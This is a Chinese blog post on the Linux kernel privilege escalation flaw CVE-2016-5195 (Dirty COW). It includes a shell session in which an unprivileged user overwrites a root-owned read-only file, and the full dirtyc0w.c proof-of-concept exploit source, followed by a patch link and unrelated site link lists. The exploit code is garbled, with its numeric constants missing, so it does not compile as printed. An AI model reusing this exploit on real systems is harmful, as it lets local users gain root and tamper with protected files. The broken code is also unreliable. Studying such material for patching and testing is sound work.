一、漏洞简介

CVE-2016-5195这个漏洞是linux内核级的本地提权漏洞,原理是linux内核内存子系统在

处理私有只读存储映射的写入时复制机制发现了一个冲突条件。这个漏洞官方给出的影响范围是在

linux内核2.6.22以后的版本都受影响,同时已经在2016年10月18日进行了修复。

二、漏洞影响

1. 没有权限的本地用户可以使用此漏洞获取写访问权限,修改制度内存映射,从而提权。

2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件,绕过标准权限的限制,这些权限机制通常用于防止修改没有适当的权限集。

三、漏洞测试

[root@localhost tmp]# echo test123 > test.txt
[root@localhost tmp]# chmod test.txt
[root@localhost tmp]# ls -lash test.txt
.0K -r-----r--. root root 10月 : test.txt
[root@localhost tmp]# vim dirtyc0w.c
[root@localhost tmp]# cat test.txt
test123
[root@localhost tmp]# gcc -lpthread dirtyc0w.c -o dirtyc0w
[root@localhost tmp]# su - pentest
上一次登录:一 10月 :: CST : 上
最后一次失败的登录:一 10月 :: CST 2016从 :: 上
最有一次成功登录后有 次失败的登录尝试。
[pentest@localhost ~]$ cd /tmp/
[pentest@localhost tmp]$ ls -l
总用量
-rwxr-xr-x. root root 10月 : dirtyc0w
-rw-r--r--. root root 10月 : dirtyc0w.c
-r-----r--. root root 10月 : test.txt
[pentest@localhost tmp]$ ./dirtyc0w test.txt 123test
mmap 7f2075a07000 madvise procselfmem [pentest@localhost tmp]$ cat test.txt
123test
[pentest@localhost tmp]$

漏洞利用POC: dirtyc0w.c

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h> void *map;
int f;
struct stat st;
char *name; void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=;
for(i=;i<;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
} void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=;
for(i=;i<;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
} int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return ; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[],O_RDONLY);
fstat(f,&st);
name=argv[];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[]);
pthread_create(&pth2,NULL,procselfmemThread,argv[]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return ;
}

 注意事项:

有些发行版系统的内核可能在受影响范围内,但是使用上述poc的时候,编译也没出错,

文件权限也没出错,漏洞执行的过程中没有任何错误但是就是无法写入内容到指定文件中,原因可能是

该POC不适用你的发行版或内核,如此就没办法测试了。虽然没有办法执行但是不意味着该漏洞不存在,

保险起见还是要按着官方给出的修复建议进行相关修复。

厂商补丁:

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

Linux内核通杀提权漏洞CVE-2016-5195验证的更多相关文章

  1. Linux内核通杀提权漏洞CVE-2016-5195 - 内核升级方法

    如题,对于脏牛(Dirty COW)漏洞的修复方式已经在上篇文章中有介绍过如何验证,这里对如何升级内核给出修复建议. (注意:为避免不必要的生产风险的发生,请审核自己的实际环境而决定采用什么方法进行升 ...

  2. Linux本地内核提权漏洞复现(CVE-2019-13272)

    Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...

  3. CVE-2019-13272:Linux本地内核提权漏洞复现

    0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,pt ...

  4. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  5. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  6. 9.CVE-2016-5195(脏牛)内核提权漏洞分析

    漏洞描述: 漏洞编号:CVE-2016-5195 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权 影响范围:Linux内核>=2 ...

  7. msf利用- windows内核提权漏洞

    windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...

  8. Unix/Linux提权漏洞快速检测工具unix-privesc-check

    Unix/Linux提权漏洞快速检测工具unix-privesc-check   unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...

  9. 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995

    *本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212 前言: 2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ...

随机推荐

  1. C# 微信公众号

    using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.We ...

  2. SecureCRT的SFTP在Windows与Linux之间传输文件

    使用SecureCRT软件ssh连接到Linux虚拟机.然后在SecureCRT上面打开SFTP会话

  3. ORACLE 检查数据库表中是否存在不规范字 段的语句参考.sql

    --查看是否有除number,char,date,varchar2,clob/blob之外的类型,比如:NVARCHAR2,TIMESTAMP(6),FLOATSELECT DISTINCT a.DA ...

  4. Mac下安装Tomcat及配置

    今天介绍Mac下Tomcat的安装及配置: 1.在搜索引擎(如:必应或百度)中搜索“Tomcat”,第一条搜索结果就是Tomcat官方地址: 2.在左侧选择“Tomcat8”或“Tomcat9”,我这 ...

  5. Asp.Net 操作word 第二篇[推荐]

    引言:前段时间有项目要用c#生成Word格式的计算报告,通过网络查找到很多内容,但是都很凌乱,于是自己决定将具体的步骤总结整理出来,以便于更好的交流和以后相似问题可以迅速的解决! 现通过具体的示例演示 ...

  6. 一些常用到的Centos命令

    CentOS常用命令在我们的使用中,经常被使用.所以,我们对一些经常使用又很重要的CentOS常用命令进行了全面的整理.下面,就来介绍这些CentOS常用命令. 一:使用CentOS常用命令查看cpu ...

  7. ASP .NET下的301重定向如何做

    using System; using System.Collections.Generic; using System.Text; using System.Web.UI; using System ...

  8. 序列化Color对象

    如下: public class Class2 { [XmlIgnore] public Color Color1 { get { return color1; } set { color1 = va ...

  9. Core Data 版本数据迁移

    Core Data版本迁移基础 通常,在使用Core Data的iOS App上,不同版本上的数据模型变更引发的数据迁移都是由Core Data来负责完成的.这种数据迁移模式称为Lightweight ...

  10. 一个包的net到gs流程

    再来看看一个包走共享内存的流程 先来看看net进程这块如何处理的 {//用shareData这种类型封装刚才从无锁队列中取到的包 shareData sd; sd.channel_id = pkt.c ...